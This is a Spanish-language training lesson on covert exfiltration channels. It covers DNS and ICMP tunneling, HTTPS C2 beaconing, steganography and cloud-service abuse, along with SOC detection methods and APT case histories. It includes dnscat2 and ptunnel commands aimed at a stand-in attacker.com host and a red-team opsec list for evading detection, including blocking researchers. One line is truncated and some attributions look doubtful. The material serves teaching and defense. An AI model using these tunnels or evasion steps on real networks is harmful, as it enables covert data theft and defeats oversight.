Aprende › Vulnerabilidades web

Covert channels y exfiltración: DNS tunneling, ICMP, HTTPS beacons

· 10 min de lectura

Cuando el perímetro bloquea tráfico obvio, attackers esconden datos en canales legítimos. Aprende DNS tunneling (iodine, dnscat2), ICMP tunneling, HTTPS beaconing, exfiltración por metadata, y las técnicas que SOCs modernos usan para detectarlos.

Covert channels son mecanismos de comunicación que esconden datos en canales legítimos de red para evadir controles de seguridad. En un entorno corporativo típico, outbound TCP arbitrario está bloqueado, HTTP/HTTPS proxy-inspeccionado, DNS filtrado, y DLP (Data Loss Prevention) analiza contenido. Un attacker con acceso interno necesita exfiltrar datos sin levantar alertas: covert channels son su respuesta.

Esta lección cubre las técnicas más usadas en red team ops: DNS tunneling, ICMP tunneling, HTTPS beaconing (C2 moderno), exfiltración por metadata, abuso de servicios cloud legítimos, y las contra-medidas que SOCs modernos aplican. Es la novena de la Tanda 7.

Covert channels son herramienta dual-use: usadas por attackers reales en APT campaigns, pero también por red teams autorizados simulando adversarios. Usar sólo con autorización escrita.

Taxonomía de covert channels#

Covert channels: DNS tunneling, ICMP, HTTPS beacon, cloud abuse, metadata
Covert channels: DNS tunneling, ICMP, HTTPS beacon, cloud abuse, metadata

Clasificación por protocolo usado:

Timing channels. Codificar bits en timing de requests: 100ms = 0, 200ms = 1. Muy lento, pero evade la mayoría de controles. Académico más que operacional.

Storage channels (protocolo-piggyback). Esconder datos en campos legítimos de protocolos. Los dominantes:

  • DNS tunneling: subdomains encoded carry data.
  • ICMP tunneling: payload de echo request/reply.
  • HTTP/HTTPS: headers custom, cookies, URL paths, POST body.
  • TLS SNI: server name indication como canal.
  • TCP options: IPID, window size, sequence numbers.
  • Email: metadata de headers, attachments encoded.

Service abuse channels. Usar servicios cloud legítimos:

  • GitHub/GitLab: commits, issues, gists como C2.
  • Pastebin: dead drops.
  • Twitter/Discord/Telegram: APIs públicas.
  • Google Docs: shared documents.
  • DropBox/OneDrive: file sync.

Ventaja: tráfico a estos destinos es legítimo en 99% de empresas.

DNS tunneling#

DNS tunneling es el covert channel más usado operationally. Funcionamiento: attacker controla un servidor DNS autoritativo para attacker.com. Cliente victima hace DNS queries como:

AAAABBCC001.attacker.com
AAAABBCC002.attacker.com
...

Los subdomains codifican datos (base32/base64). Servidor atacante registra queries, reconstruye payload. Respuestas DNS también encoded → bidireccional.

Herramientas populares:

  • iodine: IPv4 sobre DNS, best performance, VPN completa. Requiere compile client.
  • dnscat2: C2 orientado a shells + file transfer. Simpler setup.
  • DNSExfiltrator: data exfiltration one-shot.
  • tcp-over-dns: literalmente TCP tunneled.
  • DNSStager: payload staging via DNS.

Pattern básico:

# Servidor (atacante):
dnscat2-server attacker.com

# Cliente (victim):
dnscat2 attacker.com

Rendimiento: 20-200 KB/s típico, depende de latencia DNS. Suficiente para keylogging, documents chicos, credential dumps. No para archivos grandes.

Detección:

  • Query volume anómalo a un dominio (miles/hora vs normal).
  • Subdomains de longitud máxima (63 chars) consistentemente.
  • Entropía alta en subdomain labels (random vs human-readable).
  • TXT records grandes en responses.
  • Queries a dominios recién registrados (NXD recent).

ICMP tunneling#

ICMP tunneling usa payload del Echo Request/Reply (ping). Payload size: hasta ~1500 bytes/packet. Menos usado que DNS pero:

  • Útil cuando DNS está muy monitoreado pero ICMP se permite (admin oversight).
  • Más silencioso que DNS en ciertos entornos.
  • Herramientas: ptunnel, icmpsh, icmp-shell.
# Servidor
ptunnel -x secret_pass

# Cliente
ptunnel -p attacker.com -lp 443 -da internal.target -dp 80 -x secret_pass

Detección:

  • Ping packets con payload > 64 bytes consistentemente.
  • Patterns en payload (no random data de OS normal).
  • Volumen de ICMP a un destino específico.

Modern firewalls restringen ICMP a admin workstations → DNS es más universal.

HTTPS C2 moderno#

APT groups y red team mature se mueven a HTTPS beaconing porque:

  • TLS cifra payload → DPI inútil.
  • Puerto 443 abierto en 100% de empresas.
  • Mezcla con tráfico legítimo masivo.

Frameworks dominantes:

  • Cobalt Strike: estándar industry. Malleable profiles permiten mimicar legit traffic (Slack, Spotify, etc).
  • Mythic: open-source agentic C2.
  • Sliver: Go-based, cross-platform, modern.
  • Empire: PowerShell-heavy, viejo pero útil.
  • Metasploit meterpreter: clásico, bien detectado ahora.

Beacon pattern típico:

Victim → GET https://cdn.legitimate-looking.com/js/analytics.js?id=XYZ
Server → 200 OK (base64 encoded task embedded en response body)
Victim → execute task, POST result en siguiente beacon

Jitter + sleep randomization evita detection por patterns regulares (beaconing cada N segundos exactos es red flag).

Exfiltración por metadata#

Datos en lugares inesperados:

  • DNS TXT records: suben 255 bytes/record, útil para exfil pequeño.
  • HTTP User-Agent custom: parece browser, lleva data.
  • IP ID field: 16 bits/packet.
  • TCP seq numbers: 32 bits/packet.
  • DNS CAA records: raramente monitoreados.
  • TLS JA3 fingerprint variations: sub-canal no obvio.
  • Image EXIF metadata: upload imagen con datos en EXIF.
  • PDF metadata: autor, título, campos custom.

Volumen chico, invisible a observers naive. Red team uses these cuando DLP es duro.

Abuso de servicios legítimos#

Covert C2 abuse: GitHub issues, Twitter API, Discord webhooks, cloud storage
Covert C2 abuse: GitHub issues, Twitter API, Discord webhooks, cloud storage

Modernos APT usan infrastructure legítima:

  • GitHub Issues/Comments: C2 bidireccional. Blog posts explain.
  • Discord webhooks: incoming webhooks reciben exfil.
  • Telegram bots: API pública.
  • Twitter DMs: X API.
  • Pastebin dead drops: paste encoded commands.
  • Google Calendar: event descriptions carry commands.
  • Slack webhooks si attacker tiene token de víctima.
  • Email drafts (never sent): acceso con OAuth.

Ventaja: outbound a estos destinos es legítimo en empresas tech. SOC que bloquee GitHub rompe developers productivity.

Famous case: APT29 SUNBURST (SolarWinds) usaba HTTPS a dominios lookalike + delays de días para evadir detección.

Defense: cómo SOC detecta covert channels#

Desde el lado blue team:

Baselining. DNS query volume por host es el indicador #1. Un endpoint normal hace 100-500 queries/hora. 10.000 queries/hora = tunneling probable.

Entropía analysis. Shannon entropy de subdomains. Random data tiene entropía alta, hostnames humanos baja. Librerías Python calculan.

Dominio reputation. Queries a dominios recién registrados (NXD last 7 days), Dynamic DNS providers (no-ip, duckdns), DGA (domain generation algorithm) patterns.

Volumen inusual. Beacon analysis: timing regular con jitter característico.

TLS metadata. JA3/JA3S fingerprinting de cliente. Cobalt Strike tiene JA3 conocido si no customizan.

SSL certificate anomalies. Self-signed, Let's Encrypt a dominios recién registrados, certificados de Cobalt Strike team servers.

Proxy logs. URI patterns inusuales, user-agent strings, response sizes constantes.

DLP contextual. Detectar patterns de data sensitive en traffic (regex de SSN, credit cards, API keys).

Tools blue side: Zeek, Suricata, Splunk/ELK con custom detections, Microsoft Defender for Endpoint network protection, CrowdStrike Falcon, DNS firewalls (Cisco Umbrella, Quad9 Security).

Operational security para red team#

Si vas a usar covert channels en engagement autorizado:

  1. Domain preparation: dominios aged (6+ meses), reputation limpia, categorizados como "business" en WebFilter databases.
  2. TLS certs: Let's Encrypt OK pero mejor comprar certs CA pagos para dominios sensibles.
  3. Redirectors: nunca conectar directo a team server. Reverse proxy intermedio con nginx.
  4. JA3 customization: modificar TLS fingerprint del beacon para no match conocidos.
  5. Malleable profiles custom: no usar defaults de CobaltStrike.
  6. Jitter aggressive: 50-80% jitter, sleep 60-600 seconds.
  7. Dominios por fase: separar initial payload delivery, C2, exfil en dominios distintos.
  8. GeoIP filtering: solo responder a IPs del país del cliente, bloquear researchers VPN.
  9. Kill switches: capability de self-destroy si algo mal.
  10. Clean up: eliminar artifacts post-engagement.

Casos reales históricos#

Historia reciente de APT y cybercrime documentada:

APT29 / CozyBear (SolarWinds, 2020): SUNBURST malware usaba HTTPS beaconing con subdomains DGA, delays de 12-14 días entre check-ins, dominios lookalike (avsvmcloud.com). Evadio detección por 9 meses en Fortune 500.

APT41 (Winnti Group): DNS tunneling como C2 secundario. GitHub Issues para payload delivery en algunas campañas.

Lazarus Group (Corea del Norte): TrickBot y descendientes usaban HTTPS con TLS pinning custom. Beaconing a servicios aparentemente legítimos de analytics.

NOBELIUM (2021-2024): Microsoft documentó múltiples covert channels incluyendo Microsoft Graph API abuse para C2 dentro de tenants comprometidos. Imposible bloquear sin impactar Office 365 normal.

OilRig / APT34: QUADAGENT framework usaba PowerShell con DNS como transport. Exfil de credenciales via DNS TXT queries.

Equation Group (filtrado Shadow Brokers): toolkit incluía DOUBLEPULSAR implant con covert channel via SMB echo responses. Nation-state level sophistication.

Cada caso enseña: adversarios reales invierten meses en operational infrastructure. Red team simulando APT debe emular este nivel de preparación, no scripts default de Metasploit. Threat intelligence feeds (MISP, CrowdStrike Falcon Intelligence, Mandiant) publican IOCs post-incident que ayudan blue teams detectar patterns similares después.

Covert channels implementation NO es ilegal per se, pero deployment sin autorización sí. Red team engagements requieren:

  • Rules of Engagement firmadas con el cliente.
  • Alcance explícito de técnicas permitidas.
  • Point of contact 24/7 del cliente para emergencias.
  • Documentation detallada de infrastructure usada.
  • Teardown plan post-engagement.

Casos célebres de red teamers arrestados por confusión de scope (Iowa 2019) subrayan importancia de documentación legal.

Steganografía en imágenes y video#

Un sub-campo adyacente: ocultar datos dentro de archivos aparentemente benignos. Técnicas clave:

  • LSB (Least Significant Bit): modificar bit menos significativo de cada pixel RGB. Un JPEG de 1MB puede llevar ~100KB oculto sin degradación visible. Herramientas: steghide, OutGuess, jsteg.
  • DCT coefficients en JPEG: modificar coeficientes de compresión. Más robusto a re-compression.
  • Metadata hiding: EXIF, XMP, IPTC fields en imágenes.
  • Video steganography: frames I-P-B en MPEG, canales de audio.
  • Audio steganography: LSB en WAV, spectrogram-hiding en MP3.

Combinación mortal: exfil como "fotos vacacionales" subidas a Instagram/Flickr/Google Photos. SOC inspeccionando headers HTTP ve "jpeg upload to photos.google.com" → benign. Realmente lleva keylogs encoded.

Herramientas modernas: SilentEye, OpenStego, StegHide, StegCloak (texto esteganográfico via caracteres Unicode invisibles).

Domain fronting#

Técnica avanzada: TLS SNI muestra un dominio legítimo (CloudFront, Azure, Fastly CDN), pero HTTP Host header real apunta a attacker's team server detrás de la misma CDN. Tráfico aparece ir a d1234.cloudfront.net, realmente llega a attacker.

Google, Amazon, Microsoft bloquearon oficialmente domain fronting 2018-2020. Aún funciona en algunas CDNs minoritarias y en infraestructura self-hosted con reverse proxies. APT reales (Telegram usó esto para evadir censura rusa) demostraron viabilidad masiva.

Alternativa moderna: domain borrowing (fastjs.net, inc.com dominios abandonados reutilizados), CDN hopping (múltiples CDN layers).

Preguntas frecuentes#

¿Vale aprender esto si no haré red team?#

Sí, para defender. Blue team que no entiende técnicas ofensivas no puede detectarlas. Threat hunters usan este conocimiento diariamente. Detection engineers escribiendo reglas Sigma para Splunk o reglas YARA-L para Chronicle necesitan comprender a fondo cómo funcionan covert channels para construir detecciones precisas sin generar falsos positivos masivos que saturen al equipo de respuesta.

¿Cuál canal usar?#

Depende del entorno. DNS tunneling universal en empresas tradicionales, HTTPS beaconing en entornos modernos cloud-heavy, service abuse cuando SOC madura bloquea tunneling clásico. Red team pro mantiene múltiples canales simultáneos: uno principal, uno de respaldo, uno de emergencia.

¿DNS tunneling es siempre detectable?#

Con enough budget para DNS security products (Umbrella, BlueCat), sí. Sin ellos, en SMB típica, no.

¿Cobalt Strike aún funciona?#

Sí pero con esfuerzo. Default beacon detectado trivially. Custom malleable profiles + fresh team servers + domain fr viable.

¿Dónde practico?#

El laboratorio stealth-firewall de whoami-labs te pone del lado attacker con firewall egress restrictivo. Practicas DNS tunneling, HTTPS beacon customizado y bypass de DLP mientras el blue team analiza tráfico con Suricata.

Resumen#

  • Covert channels: esconder datos en canales legítimos para evadir perímetro.
  • DNS tunneling: dominante operationally. iodine, dnscat2.
  • ICMP tunneling: nicho, útil cuando DNS monitoreado.
  • HTTPS C2: Cobalt Strike + jitter + malleable profiles = estándar.
  • Service abuse: GitHub, Discord, Telegram, Cloud storage como C2.
  • Detection: baseline de tráfico DNS, entropía de subdomains, reputation de dominios, TLS metadata, JA3 fingerprinting.
  • Steganografía: LSB en imágenes, DCT coefficients, metadata hiding complementan covert channels de red.
  • Legal: solo con autorización explícita escrita; RoE claras; teardown documentado post engagement obligatorio.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría